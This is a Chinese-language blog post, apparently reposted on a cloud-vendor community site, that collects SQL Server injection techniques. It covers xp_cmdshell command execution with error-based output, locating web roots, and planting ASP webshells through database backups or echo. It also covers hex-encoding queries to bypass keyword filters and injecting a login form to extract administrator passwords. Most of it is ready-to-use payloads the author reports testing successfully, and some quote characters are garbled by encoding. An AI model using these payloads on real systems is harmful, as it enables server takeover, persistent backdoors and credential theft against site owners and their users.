SQLServer注入技巧

來源:互聯網
上載者:User

標籤:

一、對於SA許可權的使用者執行命令,如何擷取更快捷的擷取結果?

  • 有顯示位
  • 無顯示位


其實這裡的關鍵並不是有無顯示位。exec master..xp_cmdshell ‘systeminfo‘產生的資料寫進一張表的時候,會產生很多行。而我們要做的就是如何很多行通過顯示位、或者報錯語句一次性爆出來,這裡的關鍵就是多行合一。


方法①
BEGIN
     IF EXISTS(select table_name from information_schema.tables where table_name=‘test_1‘)drop table test_1;
     IF EXISTS(select table_name from information_schema.tables where table_name=‘test_2‘)drop table test_2;
     create TABLE test_1([output][varchar](1000));
     insert test_1 exec master.dbo.xp_cmdshell ‘ipconfig /all‘;
     DECLARE @result varchar(8000)
     SET @result=‘~‘
     SELECT @result[email protected]result+‘ ‘+output from test_1 where output>‘ ‘
     SELECT @result AS result INTO test_2;
     SELECT convert(int,(select result from test_2));
END;

解析:

  • 這裡6-9句的意思是申明一個@result的臨時變數;
  • 設定初始值為’~’;將test_1中的資料資料依次取出來,迭代條件是output>’ ‘,並組合成新的字串,字串之間用空格隔開最後複製給@result;
  • 然後將@result設定一個別名,然後插入test_2中。
  • 最後報錯回顯
    PS:
  • mssql英文字母比較大小不區分大小寫
  • mssql字串比較大小和C語言中的str_cmp()一樣的道理


方法②(注入點測試成功、測試平台SQL Server2008- 10.0.1600.22 (X64)

  • 報錯:AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1--
  • 顯示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(‘‘))--


二、如何快速尋找網站目錄(SA使用者)

  • SA使用者被降權
  • SA使用者未被降權


這裡區分降權與非降權是有道理的,如果沒有被降權。那麼許可權很高就可以讀取某些儲存在原生配置了,如果許可權低一點的話,可以使用dir命令尋找。


方法①(被降權:–親測成功):
CREATE TABLE test_1([output][varchar](1000));
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘dir /s d:\web.config ‘;
AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1;


方法②(未被降權–system–親測成功):
CREATE TABLE test_1([output][varchar](1000));
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ‘;
AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1;


方法③(sa+system許可權+IIS7.0+IIS7.5):

%systemroot%/system32/inetsrv/appcmd.exe list site ——列出網站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出網站實體路徑

PS:
%systemroot%代表c:\windows\


三、如何利用注入點getshell方法
①(差異備份)–用戶端親測成功–並未要求許可權,可以在非sa許可權的注入點測試

IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp;
backup database XFData to disk = ‘D:\WebRoot\asp.bak‘;
create table [dbo].[test_tmp] ([cmd] [image]);
insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database XFData to disk=‘D:\WebRoot\asp.asp‘ WITH DIFFERENTIAL,FORMAT;


方法②(減小體積)–用戶端親測成功–並未要求許可權,可以在非sa許可權的注入點測試
IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp;
alter database XFData set RECOVERY FULL;
create table  test_tmp  (a image);
backup log XFData to disk = ‘D:\WebRoot\asp.bak‘ with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log XFData to disk = ‘D:\webroot\123.asp‘

PS:

  • 如果不能備份,很有可能是存取權限的問題。可以切換目錄嘗試
  • 如果表存在,也不能成功;所以先判斷表是否存在,如果存在就刪除。


方法③(echo 輸出一句話木馬)–sa許可權+目前使用者寫入權限–親測成功
echo ^<%eval request("pass")%^>>D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp

PS:

  • 這裡由於是注入點,因此需要注意編碼的問題。一般來說,網頁的編碼和資料庫的編碼是一致的(如果不一致~~~算我輸)。這裡我用了一個中文路徑做說明


四、如何避免使用select之類的關鍵字
方法①:十六進位混淆

;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--


五、登入點的注入如何最快擷取後台密碼
1‘ HAVING 1=1-- #爆出表名

1‘ GROUP BY username HAVING 1=1--  # 爆出欄位名

# User_Mess.Account

# User_Mess.PWD

1‘;select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--                                                           
1‘;select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account=‘admin‘))--


六、結語

這篇文章是很久以前整理的,有些地方可能有不對之處,希望大家能夠指出。另外,大家有什麼姿勢也說一說,一起總結總結。



這裡排版確實不習慣,用習慣了markdown感覺現在有點排版困難症,請不要噴。。。

SQLServer注入技巧

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.